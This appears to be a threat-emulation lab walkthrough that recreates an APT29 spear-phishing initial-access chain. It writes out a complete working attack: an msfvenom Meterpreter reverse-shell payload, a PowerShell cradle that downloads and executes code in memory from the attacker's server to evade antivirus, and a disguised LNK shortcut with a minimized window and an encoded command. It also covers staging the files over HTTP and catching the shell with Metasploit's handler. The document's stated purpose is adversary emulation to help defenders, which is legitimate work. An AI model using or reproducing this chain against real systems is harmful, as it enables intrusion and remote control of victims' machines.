Lab 1: Initial Access

# Introduction

Adversaries utilize a variety of techniques to gain their first access point into a network. These range from compromising an external facing system to password attacks against users to physical or proximity-based attacks. In this lab, we’ll be exploring a widely used technique, User Execution ([T1204](https://attack.mitre.org/techniques/T1204/)).

User Execution is often the goal of a phishing attack, either targeted (spear-phishing) or widespread. We will not be performing a phishing attack here, which utilizes social engineering. Instead, we will focus on the technical aspects, creating a payload aligned with CTI describing APT29’s campaigns.

## Goals

* Understand CTI for APT29 related to their spear-phishing practices.
* Understand how to create an LNK file that executes code.
* Learn deception techniques to disguise the LNK file.
* Learn to use the Metasploit framework to create and deploy a Meterpreter reverse shell.

# Requirements

In this lab, the Windows Attacker VM will be used to craft the LNK payload, while the Kali VM will be used to create the Meterpreter payload, and serve both payloads over the network.

# CTI

The relevant threat intelligence is gathered from this [FireEye report](https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html).

* APT29 engaged in spear-phishing campaigns.
* Some versions of the campaigns included emails containing links to compromised domains.
* The links pointed to a Zip file, which contained an LNK file.
* When executed, the LNK file decrypted and executed a DLL and PDF contained within itself.
* The DLL was a Cobalt Strike Beacon payload, and the PDF was a benign document.

## Deviations from CTI:

* This lab will use the Metasploit Framework as an open-source alternative instead of Cobalt Strike.
* Rather than containing the DLL and PDF files within the LNK file, for simplicity’s sake the LNK file will download both from the attacker website.

# Walkthrough

In this lab, we will be using the Metasploit framework to create a Meterpreter reverse shell payload, and then to handle the callback from our reverse shell. We’ll use the msfvenom tool to produce the payload.

﻿msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<Kali IP Address> LPORT=<Kali Listening Port> -f psh -o meterpreter.ps1

Text

Description automatically generated

The windows/x64/meterpreter/reverse\_tcp payload is a staged reverse shell payload. This means that the payload does not actually contain the Meterpreter shellcode, but instead contains code to grab the shellcode from the Metasploit handler and inject it into a new thread. This drastically minimizes the size of the payload. The stager and the payload connect back to the Metasploit handler with a raw TCP connection, rather than a standard protocol such as HTTP. A final, but very important, piece to note is the architecture of the payload. Almost all modern Windows systems use an x64 architecture. While usually an x86 payload will work, x64 processes often have access to more functionality. Whichever architecture you use for this lab, ensure that your handler, which we set up towards the end of this lab, matches the same architecture.

This payload will be downloaded and executed by our LNK file. Additionally, you should have a dummy PDF file located within your labs directory, which will also be downloaded and opened by the LNK file.

Graphical user interface

Description automatically generated with medium confidence

Let’s create the PowerShell commands needed to do download and open/execute both of those files. We’ll start with downloading the PDF file using the System.Net.WebClient class and opening it up.

$wc = New-Object System.Net.WebClient;

$url = "http://<Kali IP Address>/";

$file = "Test\_Document.pdf";

$loc = $env:AppData + "\dummy.pdf";

$wc.DownloadFile($url+$file, $loc);

Start-Process $loc;

The PDF file is being stored in the current user’s %APPDATA% directory. Start-Process causes the PDF document to be opened in the victim’s default application for PDF files.

Next, we need to download and execute the PowerShell Meterpreter payload. We can reuse the WebClient object from before.

$file = "meterpreter.ps1";

IEX($wc.DownloadString($url+$file));

DownloadString, as the name suggests, downloads the contents of the file as a string, which is stored in memory rather than being written to disk. This provides the added benefit of evading simple AV. IEX is the short form for Invoke-Expression. Combining IEX with DownloadString results in the execution of the PowerShell script that was downloaded.

Now that the commands have been created, we need to encode the command. PowerShell uses a slightly different format for Base64 encoding than normal, as the base text encoding is UTF-16LE vs the standard UTF-8. To make this process easier, we can use the following resource: <https://raikia.com/tool-powershell-encoder/>. All we have to do is paste our script, and then copy out the result.

![Graphical user interface, text, application

Description automatically generated]()

The resulting encoded output will be placed into the LNK file we create. Let’s do that now.

On your Windows Attacker VM, open up a PowerShell session. We will use the WScript object to create our LNK file, as shown below.

$obj = New-Object -ComObject wscript.shell

$link = $obj.createshortcut("C:\Users\Public\ds7002.lnk")

$link.windowstyle = "7"

$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

$link.iconlocation = "%SystemRoot%\System32\SHELL32.dll, 1"

$link.arguments = "-noe -e <Encoded PowerShell Contents>

$link.save()

We named our LNK file ds7002.lnk as APT29 has been known to use that filename. The WindowStyle command causes the shortcut to open in a minimized window to reduce the artifacts the victim sees on their desktop. The target path is set to the location of the PowerShell executable, and the encoded commands are placed within the Arguments field. Additionally, we include the -noe and -e arguments. -noe, short for -NoExit, tells PowerShell to not terminate the session immediately after executing the commands. This is necessary to prevent the Meterpreter session from being killed immediately. -e stands for -EncodedCommand, which tells PowerShell that the command being passed into it is Base64 encoded.

Running these commands will place ds7002.lnk into the C:\Users\Public directory. Compress this file into a Zip file using PowerShell’s Compress-Archive commandlet. We’ll call the resulting Zip file ds7002.zip, again to match CTI.

﻿Compress-Archive -Path .\ds7002.lnk -DestinationPath .\ds7002.zip

![Graphical user interface

Description automatically generated with low confidence]()

Move this file to the labs directory on the Kali VM before proceeding.

We now have all of our necessary files to perform the Initial Access attack. To stage the attack files, we need to set up a HTTP server, using Python’s http.server module. From the labs directory, execute the following command to serve the files within the directory over port 80:

sudo python3 -m http.server 80

Text

Description automatically generated

Once the HTTP server is set up, we need to start our Meterpreter handler to catch the initial callback from the first stage payload. To do this, we first start the msfconsole:

msfconsole

As an open-source project, Metasploit contains a vast array of community provided exploits and attacks. For the purposes of this lab, we’ll stick to using Metasploit just for its callback handling ability. In our case, we are handling a callback for the windows/x64/meterpreter/reverse\_tcp payload.

use exploit/multi/handler

After selecting our payload, we need to configure the handler with our IP address and listening port, which should be the same values that the initial payload was generated with.

set lhost <Kali VM IP Address>

set lport <Kali VM Listening Port>

Once the handler is configured, we can run the handler, and wait for our callback to be received.

exploit

Text

Description automatically generated

Now that we have everything set up, we can begin our attack! Log on to the Windows target machine, open a web browser, and enter a link to download the Zip file from your HTTP server on the Kali VM.

http://<Kali VM IP Address>/ds7002.zip

When the browser asks what to do with the file, click Save.



Open the Zip file, and then double click the LNK file. If you get a Smart Screen popup, hit Run.

Graphical user interface, text, application

Description automatically generated

On the victim computer, a new browser tab should open displaying our Dummy PDF.

Graphical user interface, text, application, email

Description automatically generated

Also, on our Kali VM, we should get a callback to our Meterpreter handler.

Graphical user interface

Description automatically generated

We can now interact with our Meterpreter session. To gain direct CMD access on the target system, simply type: shell

Text

Description automatically generated

# Conclusion

With the proper social engineering, attackers have been able to successfully get their victims to execute payloads masked in this way. Understanding these techniques as threat emulators advances us in our ability to help defenders improve their analytics and protections, which in turn makes adversaries less successful in gaining initial access through such attacks.